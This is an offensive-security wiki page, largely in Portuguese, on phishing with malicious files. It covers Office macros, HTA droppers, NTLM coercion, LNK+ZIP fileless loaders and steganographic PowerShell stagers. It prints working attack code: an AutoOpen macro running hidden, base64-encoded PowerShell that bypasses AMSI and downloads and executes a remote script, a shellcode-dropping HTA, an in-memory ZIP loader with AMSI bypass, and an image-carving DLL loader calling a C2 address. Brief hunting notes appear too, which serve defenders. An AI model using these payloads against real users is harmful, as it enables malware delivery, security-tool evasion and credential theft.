Phishing Files & Documents

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Office Documents

Microsoft Word realiza validação dos dados do arquivo antes de abrir um arquivo. A validação dos dados é feita na forma de identificação da estrutura de dados, de acordo com o padrão OfficeOpenXML. Se qualquer erro ocorrer durante a identificação da estrutura de dados, o arquivo em análise não será aberto.

Normalmente, arquivos do Word que contêm macros usam a extensão .docm. Entretanto, é possível renomear o arquivo alterando a extensão e ainda manter suas capacidades de execução de macros.
Por exemplo, um arquivo RTF não suporta macros, por design, mas um arquivo DOCM renomeado para RTF será tratado pelo Microsoft Word e será capaz de executar macros.
Os mesmos componentes internos e mecanismos se aplicam a todo o software da Microsoft Office Suite (Excel, PowerPoint etc.).

Você pode usar o seguinte comando para verificar quais extensões serão executadas por alguns programas do Office:

assoc | findstr /i "word excel powerp"

Arquivos DOCX que referenciam um modelo remoto (Arquivo – Opções – Complementos – Gerenciar: Modelos – Ir) que inclui macros também podem “executar” macros.

Carregamento Externo de Imagem

Vá para: Inserir –> Partes Rápidas –> Campo
Categorias: Links e Referências, Nomes de campo: includePicture, e Nome do arquivo ou URL: http:///whatever

Backdoor de Macros

É possível usar macros para executar código arbitrário a partir do documento.

Funções de carregamento automático

Quanto mais comuns forem, mais provável será que o AV as detecte.

  • AutoOpen()
  • Document_Open()

Exemplos de Código de Macros

Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()

Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"

End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>

Remover metadados manualmente

Vá para File > Info > Inspect Document > Inspect Document, o que abrirá o Document Inspector. Clique em Inspect e então em Remove All ao lado de Document Properties and Personal Information.

Extensão do Doc

Quando terminar, selecione o menu suspenso Save as type e altere o formato de .docx para Word 97-2003 .doc.
Faça isso porque você não pode salvar macros dentro de um .docx e há um estigma em torno de a extensão habilitada para macros .docm (por exemplo, o ícone em miniatura tem um enorme ! e alguns gateways web/email os bloqueiam completamente). Portanto, esta extensão legada .doc é o melhor compromisso.

Geradores de Macros Maliciosas

Arquivos HTA

Um HTA é um programa Windows que combines HTML and scripting languages (such as VBScript and JScript). Ele gera a interface do usuário e é executado como uma aplicação “fully trusted”, sem as restrições do modelo de segurança de um browser.

Um HTA é executado usando mshta.exe, que normalmente é instalado juntamente com o Internet Explorer, fazendo com que mshta dependa do IE. Portanto, se ele tiver sido desinstalado, HTAs não poderão ser executados.

<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>

<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function

Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"

Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function

var_func
self.close
</script>

Forçando autenticação NTLM

Existem várias maneiras de forçar autenticação NTLM “remotely”, por exemplo, você pode adicionar imagens invisíveis a emails ou HTML que o usuário acessará (até mesmo HTTP MitM?). Ou enviar à vítima o endereço de arquivos que irão disparar uma autenticação apenas ao abrir a pasta.

Confira essas ideias e mais nas páginas a seguir:

Force NTLM Privileged Authentication

Places to steal NTLM creds

NTLM Relay

Não se esqueça de que você não pode apenas roubar o hash ou a autenticação, mas também realizar NTLM relay attacks:

LNK Loaders + ZIP-Embedded Payloads (fileless chain)

Campanhas altamente eficazes entregam um ZIP que contém dois documentos legítimos de isca (PDF/DOCX) e um .lnk malicioso. O truque é que o loader real do PowerShell está armazenado dentro dos bytes brutos do ZIP após um marcador único, e o .lnk o extrai e o executa totalmente em memória.

Fluxo típico implementado pelo one-liner PowerShell do .lnk:

  1. Localizar o ZIP original em caminhos comuns: Desktop, Downloads, Documents, %TEMP%, %ProgramData% e o diretório pai do diretório de trabalho atual.
  2. Ler os bytes do ZIP e encontrar um marcador hardcoded (e.g., xFIQCV). Tudo após o marcador é o payload PowerShell embutido.
  3. Copiar o ZIP para %ProgramData%, extrair lá, e abrir o .docx de isca para parecer legítimo.
  4. Contornar o AMSI para o processo atual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
  5. Deobfuscar a próxima etapa (e.g., remover todos os caracteres #) e executá-la em memória.

Exemplo de esqueleto PowerShell para extrair e executar a etapa embutida:

$marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths    = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx   = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code

Notas

  • Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
  • A próxima etapa frequentemente descriptografa base64/XOR shellcode e o executa via Reflection.Emit + VirtualAlloc para minimizar artefatos no disco.

Persistência usada na mesma cadeia

  • COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:

COM Hijacking

Hunting/IOCs

  • ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
  • .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
  • AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
  • Processos de negócio de longa duração que terminam com links hospedados em domínios PaaS confiáveis.

Steganography-delimited payloads in images (PowerShell stager)

Recent loader chains deliver an obfuscated JavaScript/VBS that decodes and runs a Base64 PowerShell stager. That stager downloads an image (often GIF) that contains a Base64-encoded .NET DLL hidden as plain text between unique start/end markers. The script searches for these delimiters (examples seen in the wild: «<<sudo_png>> … <<sudo_odt>>>»), extracts the between-text, Base64-decodes it to bytes, loads the assembly in-memory and invokes a known entry method with the C2 URL.

Fluxo de trabalho

  • Estágio 1: Archived JS/VBS dropper → decodifica Base64 embutido → lança PowerShell stager com -nop -w hidden -ep bypass.
  • Estágio 2: PowerShell stager → baixa imagem, extrai Base64 delimitado por marcadores, carrega o .NET DLL in-memory e chama seu método (e.g., VAI) passando a C2 URL e opções.
  • Estágio 3: O loader recupera o payload final e tipicamente injeta via process hollowing em um binário confiável (comumente MSBuild.exe). See more about process hollowing and trusted utility proxy execution here:

Common API used in Malware

PowerShell example to carve a DLL from an image and invoke a .NET method in-memory:

PowerShell stego payload extractor and loader ```powershell # Download the carrier image and extract a Base64 DLL between custom markers, then load and invoke it in-memory param( [string]$Url = 'https://example.com/payload.gif', [string]$StartM = '<>', [string]$EndM = '<>', [string]$EntryType = 'Loader', [string]$EntryMeth = 'VAI', [string]$C2 = 'https://c2.example/payload' ) $img = (New-Object Net.WebClient).DownloadString($Url) $start = $img.IndexOf($StartM) $end = $img.IndexOf($EndM) if($start -lt 0 -or $end -lt 0 -or $end -le $start){ throw 'markers not found' } $b64 = $img.Substring($start + $StartM.Length, $end - ($start + $StartM.Length)) $bytes = [Convert]::FromBase64String($b64) $asm = [Reflection.Assembly]::Load($bytes) $type = $asm.GetType($EntryType) $method = $type.GetMethod($EntryMeth, [Reflection.BindingFlags] 'Public,Static,NonPublic') $null = $method.Invoke($null, @($C2, $env:PROCESSOR_ARCHITECTURE)) ```

Notas

  • Isto é ATT&CK T1027.003 (steganography/marker-hiding). Markers variam entre campanhas.
  • AMSI/ETW bypass e string deobfuscation são comumente aplicados antes de carregar a assembly.
  • Hunting: varra imagens baixadas em busca de delimitadores conhecidos; identifique PowerShell acessando imagens e imediatamente decodificando blobs Base64.

See also stego tools and carving techniques:

Quick Triage Checklist First 10 Minutes

JS/VBS droppers → Base64 PowerShell staging

A etapa inicial recorrente é um pequeno .js ou .vbs fortemente obfuscado entregue dentro de um arquivo compactado. Seu único propósito é decodificar uma string Base64 embutida e lançar PowerShell com -nop -w hidden -ep bypass para bootstrapar a próxima etapa via HTTPS.

Lógica esquelética (abstrata):

  • Ler o conteúdo do próprio arquivo
  • Localizar um blob Base64 entre strings de lixo
  • Decodificar para PowerShell ASCII
  • Executar com wscript.exe/cscript.exe invocando powershell.exe

Hunting cues

  • Anexos JS/VBS arquivados que disparam powershell.exe com -enc/FromBase64String na linha de comando.
  • wscript.exe iniciando powershell.exe -nop -w hidden a partir de caminhos temporários do usuário.

Windows files to steal NTLM hashes

Consulte a página sobre places to steal NTLM creds:

Places to steal NTLM creds

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks